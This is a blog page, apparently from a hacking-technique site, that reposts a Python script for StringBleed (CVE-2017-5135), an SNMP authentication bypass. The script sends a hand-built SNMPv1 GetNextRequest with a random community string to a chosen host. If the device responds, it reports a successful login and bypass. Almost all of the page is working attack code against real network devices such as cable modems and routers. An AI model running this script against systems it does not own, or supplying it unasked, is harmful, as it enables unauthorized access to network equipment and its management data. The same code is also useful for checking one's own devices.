Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371333

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python
# -*- coding: utf-8 -*-

# StringBleed - CVE-2017-5135

__author__ = ["Nixawk"]

__funcs__ = [
    'generate_snmp_communitystr',
    'generate_snmp_proto_payload',
    'send_snmp_request',
    'read_snmp_communitystr',
    'read_snmp_varbindstr',
    'snmp_login',
    'snmp_stringbleed'
]


import struct
import uuid
import socket
import time
import logging
import contextlib


logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)


def generate_snmp_communitystr():
    return str(uuid.uuid4())


def generate_snmp_proto_payload(community):
    """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
    For example, suppose one wanted to identify an instance of the
    variable sysDescr The object class for sysDescr is:
         iso org dod internet mgmt mib system sysDescr
          1   3   6     1      2    1    1       1
    """

    # SNMPv1 specifies five core protocol data units (PDUs).
    # All SNMP PDUs are constructed as follows:

    # ---------------------
    # | IP header         |
    # ---------------------
    # | UDP header        |
    # --------------------- -------|
    # | version           |        |
    # | community         |        |
    # | PDU-type          |        |
    # | request-id        |        |---- SNMP
    # | error-status      |        |
    # | error-index       |        |
    # | variable bindings |        |
    # --------------------- -------|
    #

    # The seven SNMP protocol data unit (PDU) types are as follows:
    # GetRequest
    # SetRequest
    # GetNextRequest
    # GetBulkRequest
    # Response
    # Trap
    # InformRequest

    # SNMPv1 Message Header
    # SNMPv1 Trap Message Hander

    # https://tools.ietf.org/html/rfc1592
    # +-----------------------------------------------------------------+
    # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0         |
    # +---------------+----------------+--------------------------------+
    # | OFFSET        | VALUE          | FIELD                          |
    # +---------------+----------------+--------------------------------+
    # | 0             | 0x30           | ASN.1 header                   |
    # +---------------+----------------+--------------------------------+
    # | 1             | 37 + len       | PDU_length, see formula below  |
    # +---------------+----------------+--------------------------------+
    # | 2             | 0x02 0x01 0x00 | SNMP version:                  |
    # |               |                | (integer,length=1,value=0)     |
    # +---------------+----------------+--------------------------------+
    # | 5             | 0x04           | community name (string)        |
    # +---------------+----------------+--------------------------------+
    # | 6             | len            | length of community name       |
    # +---------------+----------------+--------------------------------+
    # | 7             | community name | varies                         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len       | 0xa0 0x1c      | SNMP GET request:              |
    # |               |                | request_type=0xa0,length=0x1c  |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 2   | 0x02 0x01 0x01 | SNMP request ID:               |
    # |               |                | integer,length=1,ID=1          |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 5   | 0x02 0x01 0x00 | SNMP error status:             |
    # |               |                | integer,length=1,error=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 8   | 0x02 0x01 0x00 | SNMP index:                    |
    # |               |                | integer,length=1,index=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 11  | 0x30 0x11      | varBind list, length=0x11      |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 13  | 0x30 0x0f      | varBind, length=0x0f           |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 15  | 0x06 0x0b      | Object ID, length=0x0b         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 17  | 0x2b 0x06 0x01 | Object-ID:                     |
    # |               | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1          |
    # |               | 0x02 0x01 0x01 | Object-instance: 0             |
    # |               | 0x01 0x00      |                                |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 28  | 0x05 0x00      | null value, length=0           |
    # +---------------+----------------+--------------------------------+
    # | NOTE:  Formula to calculate "PDU_length":                       |
    # |                                                                 |
    # |   PDU_length =  length of version field and string tag (4 bytes)|
    # |              +  length of community length field (1 byte)       |
    # |              +  length of community name (depends...)           |
    # |              +  length of SNMP GET request (32 bytes)           |
    # |                                                                 |
    # |              =  37 + length of community name                   |
    # +-----------------------------------------------------------------+

    snmp_GetNextRequest = [
        b"\x30",                             # ASN.1 Header
        b"\x29",                             # PDU length
        b"\x02\x01\x00",                     # SNMP Version
        b"\x04",                             # Community Name (string)
        chr(len(community)),                 # Community Length
        community,                           # Community String
        b"\xa1\x19",                         # PDU Type - GetNextRequest
        b"\x02\x04",
        struct.pack("<i", int(time.time())), # Request ID
        b"\x02\x01\x00",                     # Error Status (Type)
        b"\x02\x01\x00",                     # Error Index
        b"\x30",                             # Variable Type (Sequence)
        b"\x0b",                             # Length
        b"\x30",                             # Variable Type (Sequence)
        b"\x09",                             # Length
        b"\x06",                             # Variable Type (OID)
        b"\x05",                             # Length
        b"\x2b\x06\x01\x02\x01",             # Value
        b"\x05\x00"  # NULL
    ]

    pkt = "".join(snmp_GetNextRequest)
    com_length = chr(len(community))
    pdu_length = chr(len(pkt) - 2)      # community length cost 1 bytes (default)

    if com_length > '\x7f':
        com_length = '\x81' + com_length
        pdu_length = chr(len(pkt) - 1)  # community length cost 2 bytes

    if pdu_length > '\x7f':
        pdu_length = '\x81' + pdu_length

    snmp_GetNextRequest[1] = pdu_length
    snmp_GetNextRequest[4] = com_length

    pkt = b"".join(snmp_GetNextRequest)

    return pkt


def send_snmp_request(host, port, community, timeout=6.0):
    """Send snmp request based on UDP.
    """
    data = ''

    try:
        with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
            snmp_raw = generate_snmp_proto_payload(community)
            client.settimeout(timeout)
            client.sendto(snmp_raw, (host, port))
            data, _ = client.recvfrom(2014)
    except Exception as err:
        log.error("{} : {} - {}".format(host, port, err))

    return data


def read_snmp_communitystr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    community_str = ''

    if not snmp_response:
        return community_str

    pdu_length = snmp_response[1]  # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
        offset = 8  # "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
        offset = 7  # "\x30\x26\x02\x01\x00\x04\x06"

    community_length = snmp_response[offset - 1]
    community_str = snmp_response[offset: offset +ord(community_length)]

    return community_str


def read_snmp_varbindstr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    variable_binding_string = ''

    if not snmp_response:
        return variable_binding_string

    pdu_length = snmp_response[1]  # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
        offset = 8  # "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
        offset = 7  # "\x30\x26\x02\x01\x00\x04\x06"

    community_length = snmp_response[offset - 1]
    pdu_data_offset = offset + ord(community_length)
    pdu_data = snmp_response[pdu_data_offset:]  # 8 = first snmp 8 bytes

    last_pdu = pdu_data.split("\x00")[-1]

    # if data > 127 (0x7f), variable-bindings length: 3 bytes
    # if data < 127 (0x7f), variable-bindings length: 2 bytes

    last_pdu_length = ord(last_pdu[1])
    if last_pdu_length > 0x7f:
        variable_binding_string =  last_pdu[3:]
    else:
        variable_binding_string = last_pdu[2:]
    return variable_binding_string


def snmp_login(host, port, community):
    """login snmp service with SNMPv1 community string.
    """
    login_status = False
    try:
        resp_community = read_snmp_communitystr(
            send_snmp_request(host, int(port), community)
        )

        if (resp_community == community):
            login_status = True
    except Exception as err:
        log.error(err)

    return login_status


def snmp_stringbleed(host, port, community):
    """Test againsts Snmp StringBleed CVE-2017-5135.
    """
    stringbleed_status = False
    try:
        resp_varbindstr = read_snmp_varbindstr(
                send_snmp_request(host, int(port), community)
            )
        if resp_varbindstr: stringbleed_status = True
    except Exception as err:
        log.error(err)

    return stringbleed_status


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 4:
        log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
        sys.exit(1)

    host = sys.argv[1]
    port = sys.argv[2]
    community = sys.argv[3]

    if snmp_login(host, int(port), community):
        log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
    else:
        log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))

    if snmp_stringbleed(host, int(port), community):
        log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
    else:
        log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))


## References
# https://tools.ietf.org/html/rfc1157
# http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
# http://www.net-snmp.org/
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
# https://wiki.wireshark.org/SNMP
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
# http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
# https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py